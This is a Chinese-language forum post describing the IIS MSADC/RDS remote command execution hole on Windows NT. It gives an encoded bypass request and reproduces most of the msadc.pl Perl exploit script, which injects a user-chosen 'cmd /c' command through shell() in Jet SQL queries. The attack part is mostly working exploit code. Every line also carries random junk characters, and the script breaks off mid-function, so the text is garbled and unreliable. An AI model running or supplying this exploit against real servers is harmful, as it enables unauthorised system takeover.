IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
B}?/oZW4 F htf4 涉及程序:
9_TZ;e Microsoft NT server
} [75`pC~O c)Y I3G$ 描述:
b!`:|!7r' 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
'fg`td aC%0jJ<eo 详细:
2b3*zB*@V 如果你没有时间读详细内容的话,就删除:
*nH ?o* # c:\Program Files\Common Files\System\Msadc\msadcs.dll
Zj}DlNkVu 有关的安全问题就没有了。
|d,1mmv@K g[eI-J+F 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
S++}kR);
ZZeqOu7^ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
u\Xi]pZ@X] 关于利用ODBC远程漏洞的描述,请参看:
"M? (Ax NtA}I)'SWU http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm lhxhAe sL!6-[N 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
rc;| ,\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp @l@lE0 UO!OO&l! 这里不再论述。
!\"C<*5 hl# 9a? 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
nbOMtK &Nec(q< /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
QDgOprha 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
O ^e
!<bBd
o>W}1_ ?j $z[_K #将下面这段保存为txt文件,然后: "perl -x 文件名"
,q:6[~n : ;d&m #!perl
'x!q*|zF2 #
y2<g96 # MSADC/RDS 'usage' (aka exploit) script
b%v1]a[ #
Q2Q`g`* O: # by rain.forest.puppy
}>p)|YT"/ #
3g5i5 G\ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
\l]jX:
9( # beta test and find errors!
2 3>lE}^G f[dwu39k use Socket; use Getopt::Std;
]Mtb~^joG getopts("e:vd:h:XR", \%args);
Xbap'/t
<rCl print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
YjsaTdZ!& _@d.wfM if (!defined $args{h} && !defined $args{R}) {
!E$S&zVMQ print qq~
*1>XlVx, Usage: msadc.pl -h <host> { -d <delay> -X -v }
a?D\H5TF- -h <host> = host you want to scan (ip or domain)
=fRP9`y -d <seconds> = delay between calls, default 1 second
y`\/eX -X = dump Index Server path table, if available
.oSKSld -v = verbose
@NV$!FB< -e = external dictionary file for step 5
S'?XI@t[ Z0-W%W Or a -R will resume a command session
,a?em'= WQ6E8t) ~; exit;}
bggSYhJ?\# d;'@4NX5+ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
c| p
eRO. if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;GvyL>|-~ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
d;dcLe if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
(M[Kh ^ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
H]}-
U8}sp if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
z3a
te^PJF l
"d&Sgnj if (!defined $args{R}){ $ret = &has_msadc;
VF6@;5p
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
pX!S*(Q{ ;jnnCXp> print "Please type the NT commandline you want to run (cmd /c assumed):\n"
g3Ff<P P . "cmd /c ";
/n:s9eq $in=<STDIN>; chomp $in;
> m5j.GP; $command="cmd /c " . $in ;
/#Ew{RvW' qAG0t{K if (defined $args{R}) {&load; exit;}
~_h4|vG u/k#b2BqL print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Ar>Om!]=v &try_btcustmr;
;E##bdSCA we{*%8I; print "\nStep 2: Trying to make our own DSN...";
+z9;BPw% &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
;2bG-v'4vO *h]qh20t print "\nStep 3: Trying known DSNs...";
/e\}
qq &known_dsn;
3`="4 g]d@X_ &D print "\nStep 4: Trying known .mdbs...";
I.\u2B/? &known_mdb;
\yM[?/< kQ4%J,7e4 if (defined $args{e}){
qWr`cO~hc print "\nStep 5: Trying dictionary of DSN names...";
dqG+hh^ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
gS"@P:wYzs {;z3$/JB print "Sorry Charley...maybe next time?\n";
)V9$ P) exit;
5*4P_q(AxD a0AIq44 ##############################################################################
0w(<pNA ~LkReQI sub sendraw { # ripped and modded from whisker
r^Gl~sX sleep($delay); # it's a DoS on the server! At least on mine...
5"@<7/2qI my ($pstr)=@_;
{uw'7 d/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8q0f#/`v die("Socket problems\n");
/M'b137 if(connect(S,pack "SnA4x8",2,80,$target)){
m"v` E7G select(S); $|=1;
Ufo-AeQo print $pstr; my @in=<S>;
V=S`%1dLN select(STDOUT); close(S);
8#oF7eE return @in;
"@ox= } else { die("Can't connect...\n"); }}
uCUBs(iD _$Fi]l!f ##############################################################################
[;X YT }1$8)zH sub make_header { # make the HTTP request
xds"n5 my $msadc=<<EOT
r2xlcSn% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
qi/%&)GZ User-Agent: ACTIVEDATA
c%B=TAs5c Host: $ip
WMI/Y9N Content-Length: $clen
[NKWudq Connection: Keep-Alive
v}cm-_*v `zep`j&8^ ADCClientVersion:01.06
NS&~n^*k< Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
DO%YOv 1,pg:=N9 --!ADM!ROX!YOUR!WORLD!
+_`F@^R_ Content-Type: application/x-varg
cBm3|@7 Content-Length: $reqlen
}!.7QpA$ -(1e!5_-@
EOT
ltD:w{PO] ; $msadc=~s/\n/\r\n/g;
-7+Fb^"L return $msadc;}
X^@d@xU4v }B]FHpi ##############################################################################
>U) ,^H( *:d_~B?Tn sub make_req { # make the RDS request
w=f8UtY9@A my ($switch, $p1, $p2)=@_;
q#WqU8~Y my $req=""; my $t1, $t2, $query, $dsn;
?2G^6>O` mKn[>M1 if ($switch==1){ # this is the btcustmr.mdb query
0,/[r/=jT $query="Select * from Customers where City=" . make_shell();
{'X "9@ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
1r.q]^Pq~ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
C6,Bqlio O &X-)g= elsif ($switch==2){ # this is general make table query
_VM J q9. $query="create table AZZ (B int, C varchar(10))";
! q1Ql18n $dsn="$p1";}
{+`ep\.$& XRNL;X%}7 elsif ($switch==3){ # this is general exploit table query
N;D+]_;0| $query="select * from AZZ where C=" . make_shell();
"#JoB X@yE $dsn="$p1";}
wr#+q1v :x;D- kZ elsif ($switch==4){ # attempt to hork file info from index server
:Mt/6} $query="select path from scope()";
nl?|X2?C $dsn="Provider=MSIDXS;";}
PH=wPft |%M%j'9 elsif ($switch==5){ # bad query
d&U;rMEv $query="select";
kW(8i}bg $dsn="$p1";}
=0v{+#} )<Yy.Z_:DC $t1= make_unicode($query);
jEI!t^# $t2= make_unicode($dsn);
.^v7LF]Q $req = "\x02\x00\x03\x00";
\LS%bO,Y| $req.= "\x08\x00" . pack ("S1", length($t1));
as\V,
{< $req.= "\x00\x00" . $t1 ;
~ 01]VA $req.= "\x08\x00" . pack ("S1", length($t2));
82w<q( $req.= "\x00\x00" . $t2 ;
k5PzY!N $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Dk7"#q@kx return $req;}
E3KPjK |0Zj/1<$ ##############################################################################
+~[19'GH <4>6k7W sub make_shell { # this makes the shell() statement
bRIb'%=+GA return "'|shell(\"$command\")|'";}
W>,b1_k
c 4<O[d ##############################################################################
3g6R<Ez %_3{Db`R> sub make_unicode { # quick little function to convert to unicode
,$G89jSM my ($in)=@_; my $out;
"iKK&%W for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
CP?\'a"Kt return $out;}
m.4y=69 & Q.8Jgel1 ##############################################################################
&MKv_ Vj:PNt[ sub rdo_success { # checks for RDO return success (this is kludge)
oF3#]6`;/ my (@in) = @_; my $base=content_start(@in);
0u0Hl% nl if($in[$base]=~/multipart\/mixed/){
2s(K4~e e return 1 if( $in[$base+10]=~/^\x09\x00/ );}
lca.(3u return 0;}
{uhw ^)v "w7:{E5e ##############################################################################
=!{dKz-& -'I)2/%g sub make_dsn { # this makes a DSN for us
!AMPA* my @drives=("c","d","e","f");
$MR{3- print "\nMaking DSN: ";
}wUF# foreach $drive (@drives) {
xW^<.@Agm print "$drive: ";
oZzE.Q1T my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
xAoozDj "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
)_&<u\cm
L . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
&2Y>yFB
, $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
= F:d#j>F return 0 if $2 eq "404"; # not found/doesn't exist
8m6L\Z&
if($2 eq "200") {
}SOj3.9{c foreach $line (@results) {
XCt}>/"s\h return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
>o[T#U } return 0;}
f^]2qoN bGSgph ##############################################################################
_x>u"w ciXAyT cG sub verify_exists {
HAU8H'h my ($page)=@_;
9:esj{X my @results=sendraw("GET $page HTTP/1.0\n\n");
4e5Ka{# < return $results[0];}
00$W>Gr -MU^%t;- ##############################################################################
fa!iQfr gmM79^CEF sub try_btcustmr {
+XIN-8 my @drives=("c","d","e","f");
!G 8SEWP my @dirs=("winnt","winnt35","winnt351","win","windows");
0_j! t `9F'mT#o/ foreach $dir (@dirs) {
K1 $Z=]a+ print "$dir -> "; # fun status so you can see progress
\"uR&D foreach $drive (@drives) {
T0Gu(c`1d print "$drive: "; # ditto
*=ALns?y $reqlen=length( make_req(1,$drive,$dir) ) - 28;
[NuayO3 $reqlenlen=length( "$reqlen" );
uH7u4f1Q $clen= 206 + $reqlenlen + $reqlen;
yqAw7GaBN (yZ^Y'0 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
PmTA3aH if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Ig=4Z*au!g else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
L>PpXTWwy gfp#G,/B ##############################################################################
p2cKtk+ i,V~5dE[I< sub odbc_error {
:0vNg:u+ my (@in)=@_; my $base;
. Bv;Zv my $base = content_start(@in);
jgC/ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
J M`uIVnNA $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
uL1-@D, $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
D!y
Cnq=8 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#kxg|G[Ol return $in[$base+4].$in[$base+5].$in[$base+6];}
`zTVup& print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
[g%oo3`A print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
w1.KRe{M $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
5jbd!t@L |D<~a(0 ##############################################################################
xvW+;3; '\\J95*` sub verbose {
0Uybh.dC my ($in)=@_;
qUVV374N return if !$verbose;
{=&